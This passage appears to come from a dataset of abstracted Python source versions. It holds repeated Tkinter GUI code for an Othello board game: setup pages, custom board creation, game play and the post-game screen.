controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n",
"<import token>\n<assignment token>\n\n\nclass Handler:\n\n def __init__(self):\n self.Game = None\n self.GameParams = {}\n self.Window = Window(self)\n self.Window.mainloop()\n <function token>\n\n def Is_Running(self):\n return self.Game.Running\n\n def Start_Game(self):\n self.Game = lgc.Game(**self.GameParams)\n self.Game.Start_Game()\n self.Update_Game()\n self.Window.Pages['Game'].Update_Game_Type()\n\n def Get_Current_Player(self) ->str:\n if self.Game.Running:\n if self.Game.Current_Player == 'B':\n return 'black'\n else:\n return 'white'\n else:\n return 'None'\n\n def Get_Game_Type(self) ->str:\n g = self.Game.Game_Type\n if g == 1:\n return 'SIMPLE'\n else:\n return 'FULL'\n\n def Get_Score(self) ->tuple:\n s = self.Game.Get_Discs()\n return s[0], s[1]\n\n def Move(self, x: int, y: int) ->bool:\n complete = self.Game.Next_Move(x, y)\n if complete:\n self.Update_Game()\n self.Game_Complete_Check()\n return True\n self.Update_Game()\n self.Game_Complete_Check()\n return False\n\n def Get_Winner(self) ->tuple:\n return self.Game.Check_Winner()\n\n def Game_Complete_Check(self):\n if self.Is_Running() == False:\n self.Window.showPage('Postgame')\n self.Window.Pages['Postgame'].Update()\n\n def Update_Game(self):\n self.Window.Pages['Game'].Full_Update()\n\n\nclass Window(tk.Tk):\n\n def __init__(self, controller, *args, **kwargs):\n tk.Tk.__init__(self, *args, **kwargs)\n self.Handler = controller\n self.title('Othello')\n try:\n self.iconbitmap('Icon.ico')\n except:\n pass\n self.minsize(600, 600)\n self.container = tk.Frame(self)\n self.container.pack(side='top', fill='both', expand=True)\n self.container.grid_rowconfigure(0, weight=1)\n self.container.grid_columnconfigure(0, weight=1)\n self.Pages = {}\n for page in (Pregame, Custom_Board, Game, Postgame):\n new = page(self.container, self)\n self.Pages[page.FrameName] = new\n new.grid(row=0, column=0, sticky='nsew')\n self.showPage('Pregame')\n\n def showPage(self, pagename: str):\n page = self.Pages[pagename]\n page.tkraise()\n\n def Begin_Game(self):\n self.Handler.Start_Game()\n\n def Get_Current_Player(self) ->str:\n return self.Handler.Get_Current_Player()\n\n def Replay(self):\n self.Pages['Pregame'].__GUI_Reset__()\n self.Pages['Game'].Reset_Game()\n self.Handler.Replay()\n self.showPage('Pregame')\n\n\nclass Pregame(tk.Frame):\n FrameName = 'Pregame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.set_vals = []\n self.__GUI_Reset__()\n\n def __GUI_Reset__(self):\n for widget in self.winfo_children():\n widget.destroy()\n tk.Label(self, text='Otello', font=FONTS['large'], bg='white').pack(\n side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n rule_set_frame = tk.Frame(self, bg='white')\n rule_set_frame.pack(pady=10)\n self.rs_label = tk.Label(rule_set_frame, text='Rule Set', font=\n FONTS['medium'], bg='white')\n self.rs_label.pack(side='top')\n self.full_btn = tk.Button(rule_set_frame, text='FULL', font=FONTS[\n 'medium'], bg='#bbbbbb', command=lambda : self.Select_Rule_Set(\n 'full'))\n self.full_btn.pack()\n self.simple_btn = tk.Button(rule_set_frame, text='SIMPLE', font=\n FONTS['medium'], bg='#bbbbbb', command=lambda : self.\n Select_Rule_Set('simple'))\n self.simple_btn.pack()\n row_frame = tk.Frame(self, bg='white')\n row_frame.pack(pady=10)\n self.row_label = tk.Label(row_frame, text='Board Rows', font=FONTS[\n 'medium'], bg='white')\n self.row_label.grid(row=0, column=0, columnspan=7)\n self.Rows_Buttons = []\n place = 0\n for rows in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(row_frame, text=str(rows), font=FONTS['small'],\n bg='#bbbbbb', command=lambda rows=rows: self.Select_Rows(rows))\n x.grid(row=1, column=place)\n self.Rows_Buttons.append(x)\n place += 1\n col_frame = tk.Frame(self, bg='white')\n col_frame.pack(pady=10)\n self.col_label = tk.Label(col_frame, text='Board Columns', font=\n FONTS['medium'], bg='white')\n self.col_label.grid(row=0, column=0, columnspan=7)\n self.Cols_Buttons = []\n place = 0\n for cols in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(col_frame, text=str(cols), font=FONTS['small'],\n bg='#bbbbbb', command=lambda cols=cols: self.Select_Cols(cols))\n x.grid(row=1, column=place)\n self.Cols_Buttons.append(x)\n place += 1\n first_move_frame = tk.Frame(self, bg='white')\n first_move_frame.pack(pady=10)\n self.first_move_label = tk.Label(first_move_frame, text=\n 'First to move', bg='white', font=FONTS['medium'])\n self.first_move_label.grid(row=0, column=0, columnspan=2)\n self.black_btn = tk.Button(first_move_frame, text='Black', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('black'))\n self.black_btn.grid(row=1, column=0)\n self.white_btn = tk.Button(first_move_frame, text='White', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('white'))\n self.white_btn.grid(row=1, column=1)\n condition_frame = tk.Frame(self, bg='white')\n condition_frame.pack(pady=10)\n self.condition_label = tk.Label(condition_frame, text=\n 'The winner is, the player with..', bg='white', font=FONTS[\n 'medium'])\n self.condition_label.grid(row=0, column=0, columnspan=2)\n self.greater_score = tk.Button(condition_frame, text='more discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('>'))\n self.greater_score.grid(row=1, column=0)\n self.lesser_score = tk.Button(condition_frame, text='less discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('<'))\n self.lesser_score.grid(row=1, column=1)\n self.Start_Game_Btn = tk.Button(self, text='Start', bg='#ff2222',\n activebackground='#992222', font=FONTS['medium'])\n self.Start_Game_Btn.pack(side='bottom')\n\n def Select_Rule_Set(self, _set: str):\n if _set == 'simple':\n self.controller.Handler.GameParams['game_type'] = 1\n else:\n self.controller.Handler.GameParams['game_type'] = 2\n self.full_btn.destroy()\n self.simple_btn.destroy()\n self.rs_label.configure(text='Rule Set: ' + _set.upper())\n self.set_vals.append('rules')\n self.Check_Can_Start()\n\n def Select_Rows(self, rows: int):\n self.controller.Handler.GameParams['y_size'] = rows\n for button in self.Rows_Buttons:\n button.destroy()\n self.row_label.configure(text='Board Rows: ' + str(rows))\n self.set_vals.append('rows')\n self.Check_Can_Start()\n\n def Select_Cols(self, cols: int):\n self.controller.Handler.GameParams['x_size'] = cols\n for button in self.Cols_Buttons:\n button.destroy()\n self.col_label.configure(text='Board Columns: ' + str(cols))\n self.set_vals.append('cols')\n self.Check_Can_Start()\n\n def Select_First_Move(self, mover: str):\n if mover == 'black':\n self.controller.Handler.GameParams['first_move'] = 'B'\n else:\n self.controller.Handler.GameParams['first_move'] = 'W'\n self.black_btn.destroy()\n self.white_btn.destroy()\n self.first_move_label.configure(text='First to move: ' + mover)\n self.set_vals.append('move')\n self.Check_Can_Start()\n\n def Select_Condition(self, condition: str):\n self.controller.Handler.GameParams['game_winner'] = condition\n if condition == '>':\n self.condition_label.configure(text=\n 'The winner is, the player with more discs.')\n else:\n self.condition_label.configure(text=\n 'The winner is, the player with less discs.')\n self.lesser_score.destroy()\n self.greater_score.destroy()\n self.set_vals.append('win')\n self.Check_Can_Start()\n\n def Check_Can_Start(self):\n if ('rules' in self.set_vals and 'rows' in self.set_vals and 'cols' in\n self.set_vals and 'move' in self.set_vals and 'win' in self.\n set_vals):\n self.Start_Game_Btn.configure(bg='#22ff22', activebackground=\n '#229922', command=lambda : self.Start_Custom_Board())\n\n def Start_Custom_Board(self):\n self.controller.Pages['Setup_Board'].Setup_Board()\n self.controller.showPage('Setup_Board')\n self.controller.Pages['Setup_Board'].Instructions_Display()\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n",
"<import token>\n<assignment token>\n\n\nclass Handler:\n\n def __init__(self):\n self.Game = None\n self.GameParams = {}\n self.Window = Window(self)\n self.Window.mainloop()\n <function token>\n\n def Is_Running(self):\n return self.Game.Running\n\n def Start_Game(self):\n self.Game = lgc.Game(**self.GameParams)\n self.Game.Start_Game()\n self.Update_Game()\n self.Window.Pages['Game'].Update_Game_Type()\n\n def Get_Current_Player(self) ->str:\n if self.Game.Running:\n if self.Game.Current_Player == 'B':\n return 'black'\n else:\n return 'white'\n else:\n return 'None'\n\n def Get_Game_Type(self) ->str:\n g = self.Game.Game_Type\n if g == 1:\n return 'SIMPLE'\n else:\n return 'FULL'\n\n def Get_Score(self) ->tuple:\n s = self.Game.Get_Discs()\n return s[0], s[1]\n\n def Move(self, x: int, y: int) ->bool:\n complete = self.Game.Next_Move(x, y)\n if complete:\n self.Update_Game()\n self.Game_Complete_Check()\n return True\n self.Update_Game()\n self.Game_Complete_Check()\n return False\n\n def Get_Winner(self) ->tuple:\n return self.Game.Check_Winner()\n\n def Game_Complete_Check(self):\n if self.Is_Running() == False:\n self.Window.showPage('Postgame')\n self.Window.Pages['Postgame'].Update()\n <function token>\n\n\nclass Window(tk.Tk):\n\n def __init__(self, controller, *args, **kwargs):\n tk.Tk.__init__(self, *args, **kwargs)\n self.Handler = controller\n self.title('Othello')\n try:\n self.iconbitmap('Icon.ico')\n except:\n pass\n self.minsize(600, 600)\n self.container = tk.Frame(self)\n self.container.pack(side='top', fill='both', expand=True)\n self.container.grid_rowconfigure(0, weight=1)\n self.container.grid_columnconfigure(0, weight=1)\n self.Pages = {}\n for page in (Pregame, Custom_Board, Game, Postgame):\n new = page(self.container, self)\n self.Pages[page.FrameName] = new\n new.grid(row=0, column=0, sticky='nsew')\n self.showPage('Pregame')\n\n def showPage(self, pagename: str):\n page = self.Pages[pagename]\n page.tkraise()\n\n def Begin_Game(self):\n self.Handler.Start_Game()\n\n def Get_Current_Player(self) ->str:\n return self.Handler.Get_Current_Player()\n\n def Replay(self):\n self.Pages['Pregame'].__GUI_Reset__()\n self.Pages['Game'].Reset_Game()\n self.Handler.Replay()\n self.showPage('Pregame')\n\n\nclass Pregame(tk.Frame):\n FrameName = 'Pregame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.set_vals = []\n self.__GUI_Reset__()\n\n def __GUI_Reset__(self):\n for widget in self.winfo_children():\n widget.destroy()\n tk.Label(self, text='Otello', font=FONTS['large'], bg='white').pack(\n side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n rule_set_frame = tk.Frame(self, bg='white')\n rule_set_frame.pack(pady=10)\n self.rs_label = tk.Label(rule_set_frame, text='Rule Set', font=\n FONTS['medium'], bg='white')\n self.rs_label.pack(side='top')\n self.full_btn = tk.Button(rule_set_frame, text='FULL', font=FONTS[\n 'medium'], bg='#bbbbbb', command=lambda : self.Select_Rule_Set(\n 'full'))\n self.full_btn.pack()\n self.simple_btn = tk.Button(rule_set_frame, text='SIMPLE', font=\n FONTS['medium'], bg='#bbbbbb', command=lambda : self.\n Select_Rule_Set('simple'))\n self.simple_btn.pack()\n row_frame = tk.Frame(self, bg='white')\n row_frame.pack(pady=10)\n self.row_label = tk.Label(row_frame, text='Board Rows', font=FONTS[\n 'medium'], bg='white')\n self.row_label.grid(row=0, column=0, columnspan=7)\n self.Rows_Buttons = []\n place = 0\n for rows in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(row_frame, text=str(rows), font=FONTS['small'],\n bg='#bbbbbb', command=lambda rows=rows: self.Select_Rows(rows))\n x.grid(row=1, column=place)\n self.Rows_Buttons.append(x)\n place += 1\n col_frame = tk.Frame(self, bg='white')\n col_frame.pack(pady=10)\n self.col_label = tk.Label(col_frame, text='Board Columns', font=\n FONTS['medium'], bg='white')\n self.col_label.grid(row=0, column=0, columnspan=7)\n self.Cols_Buttons = []\n place = 0\n for cols in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(col_frame, text=str(cols), font=FONTS['small'],\n bg='#bbbbbb', command=lambda cols=cols: self.Select_Cols(cols))\n x.grid(row=1, column=place)\n self.Cols_Buttons.append(x)\n place += 1\n first_move_frame = tk.Frame(self, bg='white')\n first_move_frame.pack(pady=10)\n self.first_move_label = tk.Label(first_move_frame, text=\n 'First to move', bg='white', font=FONTS['medium'])\n self.first_move_label.grid(row=0, column=0, columnspan=2)\n self.black_btn = tk.Button(first_move_frame, text='Black', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('black'))\n self.black_btn.grid(row=1, column=0)\n self.white_btn = tk.Button(first_move_frame, text='White', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('white'))\n self.white_btn.grid(row=1, column=1)\n condition_frame = tk.Frame(self, bg='white')\n condition_frame.pack(pady=10)\n self.condition_label = tk.Label(condition_frame, text=\n 'The winner is, the player with..', bg='white', font=FONTS[\n 'medium'])\n self.condition_label.grid(row=0, column=0, columnspan=2)\n self.greater_score = tk.Button(condition_frame, text='more discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('>'))\n self.greater_score.grid(row=1, column=0)\n self.lesser_score = tk.Button(condition_frame, text='less discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('<'))\n self.lesser_score.grid(row=1, column=1)\n self.Start_Game_Btn = tk.Button(self, text='Start', bg='#ff2222',\n activebackground='#992222', font=FONTS['medium'])\n self.Start_Game_Btn.pack(side='bottom')\n\n def Select_Rule_Set(self, _set: str):\n if _set == 'simple':\n self.controller.Handler.GameParams['game_type'] = 1\n else:\n self.controller.Handler.GameParams['game_type'] = 2\n self.full_btn.destroy()\n self.simple_btn.destroy()\n self.rs_label.configure(text='Rule Set: ' + _set.upper())\n self.set_vals.append('rules')\n self.Check_Can_Start()\n\n def Select_Rows(self, rows: int):\n self.controller.Handler.GameParams['y_size'] = rows\n for button in self.Rows_Buttons:\n button.destroy()\n self.row_label.configure(text='Board Rows: ' + str(rows))\n self.set_vals.append('rows')\n self.Check_Can_Start()\n\n def Select_Cols(self, cols: int):\n self.controller.Handler.GameParams['x_size'] = cols\n for button in self.Cols_Buttons:\n button.destroy()\n self.col_label.configure(text='Board Columns: ' + str(cols))\n self.set_vals.append('cols')\n self.Check_Can_Start()\n\n def Select_First_Move(self, mover: str):\n if mover == 'black':\n self.controller.Handler.GameParams['first_move'] = 'B'\n else:\n self.controller.Handler.GameParams['first_move'] = 'W'\n self.black_btn.destroy()\n self.white_btn.destroy()\n self.first_move_label.configure(text='First to move: ' + mover)\n self.set_vals.append('move')\n self.Check_Can_Start()\n\n def Select_Condition(self, condition: str):\n self.controller.Handler.GameParams['game_winner'] = condition\n if condition == '>':\n self.condition_label.configure(text=\n 'The winner is, the player with more discs.')\n else:\n self.condition_label.configure(text=\n 'The winner is, the player with less discs.')\n self.lesser_score.destroy()\n self.greater_score.destroy()\n self.set_vals.append('win')\n self.Check_Can_Start()\n\n def Check_Can_Start(self):\n if ('rules' in self.set_vals and 'rows' in self.set_vals and 'cols' in\n self.set_vals and 'move' in self.set_vals and 'win' in self.\n set_vals):\n self.Start_Game_Btn.configure(bg='#22ff22', activebackground=\n '#229922', command=lambda : self.Start_Custom_Board())\n\n def Start_Custom_Board(self):\n self.controller.Pages['Setup_Board'].Setup_Board()\n 